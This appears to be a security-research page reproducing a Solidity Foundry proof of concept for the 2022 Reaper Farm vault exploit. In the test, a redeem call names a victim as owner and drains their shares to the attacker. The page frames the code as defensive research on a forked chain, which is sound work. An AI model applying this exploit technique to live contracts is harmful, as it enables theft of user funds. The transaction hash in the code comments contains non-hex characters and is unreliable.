Public reproduction file

src/test/2022-08/ReaperFarm_exp.sol

Public reproduction file for dataset entry Reaper Farm.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/ReaperFarm_exp.sol56 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~1.7M US$
8// Attacker : 0x5636e55e4a72299a0f194c001841e2ce75bb527a (ReaperFarm Exploiter 1 - who trigger the exploit)
9// Attacker : 0x2c177d20b1b1d68cc85d3215904a7bb6629ca954 (ReaperFarm Exploiter 2 - who receive the fund)
10// AttackContract : 0x8162a5e187128565ace634e76fdd083cb04d0145
11// VulnerableContract : https://ftmscan.com/address/0xcdA5deA176F2dF95082f4daDb96255Bdb2bc7C7D#code#F1#L324 (rfUSDC)
12 
13// @Info
14// Example Tx in this reproduce : https://ftmscan.com/tx/0xc92ls9f3b9312ff26be0adb1c3ff832dbdafdcbcaad33d002744effd515e53c9d5
15// Owner 1 : 0x59cb9f088806e511157a6c92b293e5574531022a
16// Owner 2 : 0xc010adc2c28a66fbb2107993bf6ede264eca8e54
17// Owner 3 : 0x37eedb7ac276bd6c894e81b8937b0b0bab154e22
18// Owner 4 : 0x8034aaff3980487a49ca69341d444fcc000088af
19// Owner 5 : 0x9e6affa8a14174ca4e931a2d6b7056c41b9beeb6
20 
21// @Analysis
22// Official post-mortem : https://twitter.com/Reaper_Farm/status/1554500909740302337
23// Beosin : https://twitter.com/BeosinAlert/status/1554476940593340421
24 
25contract Attacker is Test {
26    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27    IReaperVaultV2 constant ReaperVault = IReaperVaultV2(0xcdA5deA176F2dF95082f4daDb96255Bdb2bc7C7D);
28    IERC20 constant USDC = IERC20(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);
29 
30    function setUp() public {
31        console.log("This is a simple PoC that shows how attacker abuse the ReaperVaultV2 contract");
32        cheat.createSelectFork("fantom", 44_045_899);
33        cheat.label(address(ReaperVault), "ReaperVault");
34        cheat.label(address(USDC), "USDC");
35    }
36 
37    function testExploit() public {
38        address victim = 0x59cb9F088806E511157A6c92B293E5574531022A;
39        emit log_named_decimal_uint("Victim ReaperUSDCVault balance", ReaperVault.balanceOf(victim), 6);
40        emit log_named_decimal_uint("Attacker USDC balance", USDC.balanceOf(address(this)), 6);
41 
42        console.log("Exploit...");
43        uint256 victim_bal = ReaperVault.balanceOf(victim);
44        ReaperVault.redeem(victim_bal, address(this), victim);
45 
46        emit log_named_decimal_uint("Victim ReaperUSDCVault balance", ReaperVault.balanceOf(victim), 6);
47        emit log_named_decimal_uint("Attacker USDC balance", USDC.balanceOf(address(this)), 6);
48    }
49}
50 
51interface IReaperVaultV2 {
52    function balanceOf(
53        address owner
54    ) external view returns (uint256);
55    function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);
56}

Analysis

Dataset entry

Public Foundry test for “Reaper Farm” (2022-08-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-08/ANCH_exp.solSame month in the dataset · 65 lines
src/test/2022-08/Circle_exp2.solSame month in the dataset · 151 lines
src/test/2022-08/Circle_exp1.solSame month in the dataset · 150 lines
src/test/2022-08/DDC_exp.solSame month in the dataset · 86 lines
src/test/2022-08/EGD_Finance_exp.solSame month in the dataset · 143 lines
src/test/2022-08/EtnProduct_exp.solSame month in the dataset · 108 lines
src/test/2022-08/LuckyTiger_exp.solSame month in the dataset · 72 lines
src/test/2022-08/NomadBridge_exp.solSame month in the dataset · 91 lines
src/test/2022-08/Qixi_exp.solSame month in the dataset · 32 lines
src/test/2022-08/XST_exp.solSame month in the dataset · 76 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x5636e55e4a72299a0f194c001841e2ce75bb527a
Attacker
0x2c177d20b1b1d68cc85d3215904a7bb6629ca954

File record

Name: Reaper Farm
Path: src/test/2022-08/ReaperFarm_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: bf853baf6ef042020e1a190745dfcf1ad66e8f93
Language: Solidity
Size: 57 lines
Date: 2022-08-01
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-08/ReaperFarm_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bf853baf6ef042020e1a190745dfcf1ad66e8f93, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.